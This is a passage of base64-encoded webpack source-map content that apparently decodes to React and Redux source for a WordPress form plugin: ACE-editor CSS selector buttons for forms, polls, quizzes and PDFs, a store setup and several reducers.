RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3RvciggJyAnICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnRm9ybScgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnIC5mb3JtaW5hdG9yLXRpdGxlICdcblx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnU2VjdGlvbiBUaXRsZScgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnIC5mb3JtaW5hdG9yLXN1YnRpdGxlICdcblx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnU2VjdGlvbiBTdWJ0aXRsZScgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnIC5mb3JtaW5hdG9yLWxhYmVsICdcblx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnRmllbGQgTGFiZWwnICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3Rvcihcblx0XHRcdFx0XHRcdFx0JyAuZm9ybWluYXRvci1kZXNjcmlwdGlvbiAnXG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0ZpZWxkIERlc2NyaXB0aW9uJyApIH1cblx0XHRcdFx0XHQ8L2E+XG5cdFx0XHRcdFx0PGEgY2xhc3NOYW1lPVwic3VpLXNlbGVjdG9yIHN1aS1pbnNlcnQtc2VsZWN0b3JcIlxuXHRcdFx0XHRcdFx0b25DbGljaz17ICgpID0+IHRoaXMuaW5zZXJ0U2VsZWN0b3IoXG5cdFx0XHRcdFx0XHRcdCcgLmZvcm1pbmF0b3ItaW5wdXQgJ1xuXHRcdFx0XHRcdFx0KSB9XG5cdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdJbnB1dCcgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnIC5mb3JtaW5hdG9yLXRleHRhcmVhICdcblx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnVGV4dGFyZWEnICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0PC9kaXY+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cblx0XHRjb25zdCBwb2xsU2VsZWN0b3JzID0gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHQ8bGFiZWwgY2xhc3NOYW1lPVwic3VpLWxhYmVsXCI+eyB0cmFuc2xhdGUoICdCYXNpYyBzZWxlY3RvcnMnICkgfTwvbGFiZWw+XG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWFjZS1zZWxlY3RvcnNcIj5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3RvciggJyAnICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnUG9sbCcgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKCAnIC5mb3JtaW5hdG9yLXBvbGwtLXF1ZXN0aW9uICcgKSB9XG5cdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdRdWVzdGlvbicgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKCAnIC5mb3JtaW5hdG9yLXJhZGlvIC5mb3JtaW5hdG9yLXJhZGlvLWJ1bGxldCAnICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnQW5zd2VyIElucHV0JyApIH1cblx0XHRcdFx0XHQ8L2E+XG5cdFx0XHRcdFx0PGEgY2xhc3NOYW1lPVwic3VpLXNlbGVjdG9yIHN1aS1pbnNlcnQtc2VsZWN0b3JcIlxuXHRcdFx0XHRcdFx0b25DbGljaz17ICgpID0+IHRoaXMuaW5zZXJ0U2VsZWN0b3IoICcuZm9ybWluYXRvci1yYWRpbyAuZm9ybWluYXRvci1yYWRpby1sYWJlbCAnICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnQW5zd2VyIExhYmVsJyApIH1cblx0XHRcdFx0XHQ8L2E+XG5cdFx0XHRcdFx0PGEgY2xhc3NOYW1lPVwic3VpLXNlbGVjdG9yIHN1aS1pbnNlcnQtc2VsZWN0b3JcIlxuXHRcdFx0XHRcdFx0b25DbGljaz17ICgpID0+IHRoaXMuaW5zZXJ0U2VsZWN0b3IoICcgLmZvcm1pbmF0b3ItYnV0dG9uICcgKSB9XG5cdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdTdWJtaXQgQnV0dG9uJyApIH1cblx0XHRcdFx0XHQ8L2E+XG5cdFx0XHRcdFx0PGEgY2xhc3NOYW1lPVwic3VpLXNlbGVjdG9yIHN1aS1pbnNlcnQtc2VsZWN0b3JcIlxuXHRcdFx0XHRcdFx0b25DbGljaz17ICgpID0+IHRoaXMuaW5zZXJ0U2VsZWN0b3IoXG5cdFx0XHRcdFx0XHRcdCcgLmZvcm1pbmF0b3ItcG9sbC1mb290ZXIgYS5mb3JtaW5hdG9yLWxpbmssICcgK1xuXHRcdFx0XHRcdFx0XHQnLmZvcm1pbmF0b3ItcG9sbC1mb290ZXIgYS5mb3JtaW5hdG9yLWxpbms6dmlzaXRlZCAnXG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ1ZpZXcgUmVzdWx0cyBMaW5rJyApIH1cblx0XHRcdFx0XHQ8L2E+XG5cdFx0XHRcdDwvZGl2PlxuXHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHQpO1xuXG5cdFx0Y29uc3QgcXVpelNlbGVjdG9ycyA9IChcblx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0PGxhYmVsIGNsYXNzTmFtZT1cInN1aS1sYWJlbFwiPnsgdHJhbnNsYXRlKCAnQmFzaWMgc2VsZWN0b3JzJyApIH08L2xhYmVsPlxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1hY2Utc2VsZWN0b3JzXCI+XG5cdFx0XHRcdFx0PGEgY2xhc3NOYW1lPVwic3VpLXNlbGVjdG9yIHN1aS1pbnNlcnQtc2VsZWN0b3JcIlxuXHRcdFx0XHRcdFx0b25DbGljaz17ICgpID0+IHRoaXMuaW5zZXJ0U2VsZWN0b3IoICcgJyApIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ1F1aXonICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3RvciggJy5mb3JtaW5hdG9yLXF1aXotLXRpdGxlICcgKSB9XG5cdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdUaXRsZScgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKCAnLmZvcm1pbmF0b3ItcXVpei0tZGVzY3JpcHRpb24gcCAnICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnRGVzY3JpcHRpb24nICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3RvciggJy5mb3JtaW5hdG9yLXF1ZXN0aW9uIC5mb3JtaW5hdG9yLWxlZ2VuZCAnICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnUXVlc3Rpb24nICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3RvciggJy5mb3JtaW5hdG9yLWFuc3dlciAuZm9ybWluYXRvci1hbnN3ZXItLWRlc2lnbiAnICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnQW5zd2VyIENvbnRhaW5lcicgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnLmZvcm1pbmF0b3ItYW5zd2VyIC5mb3JtaW5hdG9yLWFuc3dlci0tbmFtZSAnXG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0Fuc3dlciBUZXh0JyApIH1cblx0XHRcdFx0XHQ8L2E+XG5cdFx0XHRcdDwvZGl2PlxuXHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHQpO1xuXG5cdFx0Y29uc3QgcGRmU2VsZWN0b3JzID0gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHQ8bGFiZWwgY2xhc3NOYW1lPVwic3VpLWxhYmVsXCI+eyB0cmFuc2xhdGUoICdQREYgc2VsZWN0b3JzJyApIH08L2xhYmVsPlxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1hY2Utc2VsZWN0b3JzXCI+XG5cdFx0XHRcdFx0PGEgY2xhc3NOYW1lPVwic3VpLXNlbGVjdG9yIHN1aS1pbnNlcnQtc2VsZWN0b3JcIlxuXHRcdFx0XHRcdFx0b25DbGljaz17ICgpID0+IHRoaXMuaW5zZXJ0U2VsZWN0b3IoICdib2R5JyApIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0JvZHknICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3Rvcihcblx0XHRcdFx0XHRcdFx0Jy5mb3JtaW5hdG9yLXBkZi1oZWFkZXInXG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ1BERiBIZWFkZXInICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3Rvcihcblx0XHRcdFx0XHRcdFx0Jy5wZGYtbG9nbydcblx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnTG9nbycgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnLnBkZi10aXRsZSdcblx0XHRcdFx0XHRcdCkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnVGl0bGUnICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3RvclwiXG5cdFx0XHRcdFx0XHRvbkNsaWNrPXsgKCkgPT4gdGhpcy5pbnNlcnRTZWxlY3Rvcihcblx0XHRcdFx0XHRcdFx0Jy5mb3JtaW5hdG9yLXJvdy1oZWFkaW5nIHRkJ1xuXHRcdFx0XHRcdFx0KSB9XG5cdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0eyB0cmFuc2xhdGUoICdGaWVsZCBMYWJlbCcgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnLmZvcm1pbmF0b3Itcm93LWNvbnRlbnQgdGQnXG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0ZpZWxkIFZhbHVlJyApIH1cblx0XHRcdFx0XHQ8L2E+XG5cdFx0XHRcdFx0PGEgY2xhc3NOYW1lPVwic3VpLXNlbGVjdG9yIHN1aS1pbnNlcnQtc2VsZWN0b3JcIlxuXHRcdFx0XHRcdFx0b25DbGljaz17ICgpID0+IHRoaXMuaW5zZXJ0U2VsZWN0b3IoXG5cdFx0XHRcdFx0XHRcdCcuZm9ybWluYXRvci1wZGYtZm9vdGVyLXRleHQgdGQnXG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0Zvb3RlcicgKSB9XG5cdFx0XHRcdFx0PC9hPlxuXHRcdFx0XHRcdDxhIGNsYXNzTmFtZT1cInN1aS1zZWxlY3RvciBzdWktaW5zZXJ0LXNlbGVjdG9yXCJcblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyAoKSA9PiB0aGlzLmluc2VydFNlbGVjdG9yKFxuXHRcdFx0XHRcdFx0XHQnLmZvcm1pbmF0b3ItcGRmLXBhZ2luYXRpb24gdGQnXG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ1BhZ2luYXRpb24nICkgfVxuXHRcdFx0XHRcdDwvYT5cblx0XHRcdFx0PC9kaXY+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHR7IHR5cGUgPT09ICdmb3JtJyAmJiBiYXNpY1NlbGVjdG9ycyB9XG5cdFx0XHRcdHsgdHlwZSA9PT0gJ3BvbGwnICYmIHBvbGxTZWxlY3RvcnMgfVxuXHRcdFx0XHR7IHR5cGUgPT09ICdxdWl6JyAmJiBxdWl6U2VsZWN0b3JzIH1cblx0XHRcdFx0eyB0eXBlID09PSAncGRmLWZvcm0nICYmIHBkZlNlbGVjdG9ycyB9XG5cdFx0XHRcdDxkaXYgaWQ9eyBgZm9ybWluYXRvci1maWVsZC0keyB0aGlzLnByb3BzLnByb3BlcnR5IH1gIH1cblx0XHRcdFx0XHRkYXRhLXZhbHVlPXsgdmFsdWUgfVxuXHRcdFx0XHRcdHN0eWxlPXsgeyBoZWlnaHQ6ICcyMTBweCcgfSB9XG5cdFx0XHRcdD5cblx0XHRcdFx0XHR7IHZhbHVlIH1cblx0XHRcdFx0PC9kaXY+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy9pbnB1dHMvYWNlLWVkaXRvci5qcyIsImltcG9ydCB7IGNyZWF0ZVN0b3JlLCBjb21wb3NlLCBhcHBseU1pZGRsZXdhcmUgfSBmcm9tICdyZWR1eCc7XG5pbXBvcnQgdGh1bmsgZnJvbSAncmVkdXgtdGh1bmsnO1xuaW1wb3J0IGFwcFJlZHVjZXJzIGZyb20gJy4uL3JlZHVjZXJzJztcblxuY29uc3QgbmV3Q3JlYXRlU3RvcmUgPSBjb21wb3NlKCBhcHBseU1pZGRsZXdhcmUoIHRodW5rICkgKSggY3JlYXRlU3RvcmUgKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gY29uZmlndXJlU3RvcmUoIGluaXRpYWxTdGF0ZSApIHtcblx0cmV0dXJuIG5ld0NyZWF0ZVN0b3JlKCBhcHBSZWR1Y2VycywgaW5pdGlhbFN0YXRlICk7XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9zdG9yZS9jb25maWd1cmVTdG9yZS5qcyIsImltcG9ydCB7IGNvbWJpbmVSZWR1Y2VycyB9IGZyb20gJ3JlZHV4JztcblxuLy8gSW1wb3J0IHJlZHVjZXJzXG5pbXBvcnQgd3JhcHBlcnMgZnJvbSAnLi93cmFwcGVycyc7XG5pbXBvcnQgc2V0dGluZ3MgZnJvbSAnLi9zZXR0aW5ncyc7XG5pbXBvcnQgbW9kYWwgZnJvbSAnLi9tb2RhbCc7XG5pbXBvcnQgaW50ZWdyYXRpb25Db25kaXRpb25zIGZyb20gJy4uLy4uL2dsb2JhbC9yZWR1Y2Vycy9pbnRlZ3JhdGlvbnMnO1xuaW1wb3J0IGJlaGF2aW9yQXJyYXkgZnJvbSAnLi4vLi4vZ2xvYmFsL3JlZHVjZXJzL2JlaGF2aW9ycyc7XG5pbXBvcnQgbm90aWZpY2F0aW9ucyBmcm9tICcuL25vdGlmaWNhdGlvbnMnO1xuaW1wb3J0IHBkZnMgZnJvbSAnLi9wZGZzJztcblxuY29uc3QgYXBwUmVkdWNlcnMgPSBjb21iaW5lUmVkdWNlcnMoIHtcblx0Ly8gTGlzdCByZWR1Y2Vyc1xuXHR3cmFwcGVycyxcblx0c2V0dGluZ3MsXG5cdG1vZGFsLFxuXHRpbnRlZ3JhdGlvbkNvbmRpdGlvbnMsXG5cdGJlaGF2aW9yQXJyYXksXG5cdG5vdGlmaWNhdGlvbnMsXG5cdHBkZnNcbn0gKTtcblxuZXhwb3J0IGRlZmF1bHQgYXBwUmVkdWNlcnM7XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9yZWR1Y2Vycy9pbmRleC5qcyIsImltcG9ydCB7IHJlcGxhY2VJblBvc2l0aW9uIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuXG5mdW5jdGlvbiB1cGRhdGVGaWVsZCggc3RhdGUsIGFjdGlvbiApIHtcblx0Y29uc3QgeyB3cmFwcGVyIH0gPSBhY3Rpb247XG5cdGNvbnN0IHdyYXBwZXJJbmRleCA9IHN0YXRlLmZpbmRJbmRleCggd3JhcCA9PiB3cmFwLndyYXBwZXJfaWQgPT09IHdyYXBwZXIud3JhcHBlcl9pZCApO1xuXG5cdHN0YXRlID0gcmVwbGFjZUluUG9zaXRpb24oIHN0YXRlLCB3cmFwcGVySW5kZXgsIHdyYXBwZXIgKTtcblxuXHRyZXR1cm4gc3RhdGU7XG59XG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIHdyYXBwZXJzKCBzdGF0ZSA9IFtdLCBhY3Rpb24gKSB7XG5cdHN3aXRjaCAoIGFjdGlvbi50eXBlICkge1xuXHRcdGNhc2UgJ1VQREFURV9GSUVMRFMnOlxuXHRcdFx0cmV0dXJuIGFjdGlvbi53cmFwcGVycztcblx0XHRjYXNlICdVUERBVEVfRklFTEQnOlxuXHRcdFx0cmV0dXJuIHVwZGF0ZUZpZWxkKCBbIC4uLnN0YXRlIF0sIGFjdGlvbiApO1xuXHRcdGRlZmF1bHQ6XG5cdFx0XHRyZXR1cm4gc3RhdGU7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL3JlZHVjZXJzL3dyYXBwZXJzLmpzIiwiZnVuY3Rpb24gdXBkYXRlU2V0dGluZyggc3RhdGUsIGFjdGlvbiApIHtcblx0Y29uc3QgeyBzZXR0aW5nLCB2YWx1ZSB9ID0gYWN0aW9uO1xuXG5cdC8vIFVwZGF0ZSB2YWx1ZVxuXHRzdGF0ZVsgc2V0dGluZyBdID0gdmFsdWU7XG5cblx0cmV0dXJuIHN0YXRlO1xufVxuXG5mdW5jdGlvbiB1cGRhdGVTZXR0aW5ncyggc3RhdGUsIGFjdGlvbiApIHtcblx0Y29uc3QgeyBzZXR0aW5ncyB9ID0gYWN0aW9uO1xuXG5cdHJldHVybiB7XG5cdFx0Li4uc3RhdGUsXG5cdFx0Li4uc2V0dGluZ3Ncblx0fVxufVxuXG5mdW5jdGlvbiByZXNldFNldHRpbmdzKCBzdGF0ZSwgYWN0aW9uICkge1xuXHRjb25zdCB7IHNldHRpbmdzIH0gPSBhY3Rpb247XG5cdHJldHVybiB7XG5cdFx0Li4uc2V0dGluZ3Ncblx0fTtcbn1cblxuZnVuY3Rpb24gdXBkYXRlVGl0bGUoIHN0YXRlLCBhY3Rpb24gKSB7XG5cdGNvbnN0IHsgdGl0bGUgfSA9IGFjdGlvbjtcblxuXHQvLyBVcGRhdGUgdmFsdWVcblx0c3RhdGUuZm9ybU5hbWUgPSB0aXRsZTtcblxuXHRyZXR1cm4gc3RhdGU7XG59XG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIHNldHRpbmdzKCBzdGF0ZSA9IFtdLCBhY3Rpb24gKSB7XG5cdGNvbnN0IG5ld1N0YXRlID0gT2JqZWN0LmFzc2lnbigge30sIHN0YXRlICk7XG5cblx0c3dpdGNoICggYWN0aW9uLnR5cGUgKSB7XG5cdFx0Y2FzZSAnVVBEQVRFX1NFVFRJTkdTJzpcblx0XHRcdHJldHVybiB1cGRhdGVTZXR0aW5ncyggbmV3U3RhdGUsIGFjdGlvbiApO1xuXHRcdGNhc2UgJ1JFU0VUX1NFVFRJTkdTJzpcblx0XHRcdHJldHVybiByZXNldFNldHRpbmdzKCBuZXdTdGF0ZSwgYWN0aW9uICk7XG5cdFx0Y2FzZSAnVVBEQVRFX1NFVFRJTkcnOlxuXHRcdFx0cmV0dXJuIHVwZGF0ZVNldHRpbmcoIG5ld1N0YXRlLCBhY3Rpb24gKTtcblx0XHRjYXNlICdVUERBVEVfVElUTEUnOlxuXHRcdFx0cmV0dXJuIHVwZGF0ZVRpdGxlKCBuZXdTdGF0ZSwgYWN0aW9uICk7XG5cdFx0ZGVmYXVsdDpcblx0XHRcdHJldHVybiBzdGF0ZTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vcmVkdWNlcnMvc2V0dGluZ3MuanMiLCJjb25zdCBpbml0aWFsU3RhdGUgPSB7XG5cdG1vZGFsVHlwZTogbnVsbCxcblx0bW9kYWxQcm9wczoge30sXG59O1xuXG5leHBvcnQgZGVmYXVsdCAoIHN0YXRlID0gaW5pdGlhbFN0YXRlLCBhY3Rpb24gKSA9PiB7XG5cdHN3aXRjaCAoIGFjdGlvbi50eXBlICkge1xuXHRcdGNhc2UgJ1NIT1dfTU9EQUwnOlxuXHRcdFx0cmV0dXJuIHtcblx0XHRcdFx0bW9kYWxQcm9wczogYWN0aW9uLm1vZGFsUHJvcHMsXG5cdFx0XHRcdG1vZGFsVHlwZTogYWN0aW9uLm1vZGFsVHlwZSxcblx0XHRcdFx0dHlwZTogYWN0aW9uLnR5cGUsXG5cdFx0XHR9O1xuXHRcdGNhc2UgJ0hJREVfTU9EQUwnOlxuXHRcdFx0cmV0dXJuIGluaXRpYWxTdGF0ZTtcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHN0YXRlO1xuXHR9XG59O1xuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vcmVkdWNlcnMvbW9kYWwuanMiLCJpbXBvcnQgeyByZXBsYWNlSW5Qb3NpdGlvbiB9IGZyb20gJy4uLy4uL3V0aWxzJztcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gaW50ZWdyYXRpb25Db25kaXRpb25zKCBzdGF0ZSA9IFtdLCBhY3Rpb24gKSB7XG5cdHN3aXRjaCAoIGFjdGlvbi50eXBlICkge1xuXHRcdGNhc2UgJ1VQREFURV9JTlRFR1JBVElPTl9DT05ESVRJT05TJzpcblx0XHRcdHJldHVybiBhY3Rpb24uY29uZGl0aW9ucztcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHN0YXRlO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZ2xvYmFsL3JlZHVjZXJzL2ludGVncmF0aW9ucy5qcyIsImltcG9ydCB7IHJlcGxhY2VJblBvc2l0aW9uIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuXG5mdW5jdGlvbiB1cGRhdGVCZWhhdmlvckFycmF5KCBzdGF0ZSwgYWN0aW9uICkge1xuXHRjb25zdCB7IGJlaGF2aW9yIH0gPSBhY3Rpb247XG5cdGNvbnN0IGJlaGF2aW9ySW5kZXggPSBzdGF0ZS5maW5kSW5kZXgoIG5vdGlmeSA9PiBub3RpZnkuc2x1ZyA9PT0gYmVoYXZpb3Iuc2x1ZyApO1xuXG5cdHN0YXRlID0gcmVwbGFjZUluUG9zaXRpb24oIHN0YXRlLCBiZWhhdmlvckluZGV4LCBiZWhhdmlvciApO1xuXG5cdHJldHVybiBzdGF0ZTtcbn1cblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gYmVoYXZpb3JzKCBzdGF0ZSA9IFtdLCBhY3Rpb24gKSB7XG5cdHN3aXRjaCAoIGFjdGlvbi50eXBlICkge1xuXHRcdGNhc2UgJ1VQREFURV9CRUhBVklPUlMnOlxuXHRcdFx0cmV0dXJuIGFjdGlvbi5iZWhhdmlvcnM7XG5cdFx0Y2FzZSAnVVBEQVRFX0JFSEFWSU9SJzpcblx0XHRcdHJldHVybiB1cGRhdGVCZWhhdmlvckFycmF5KCBbIC4uLnN0YXRlIF0s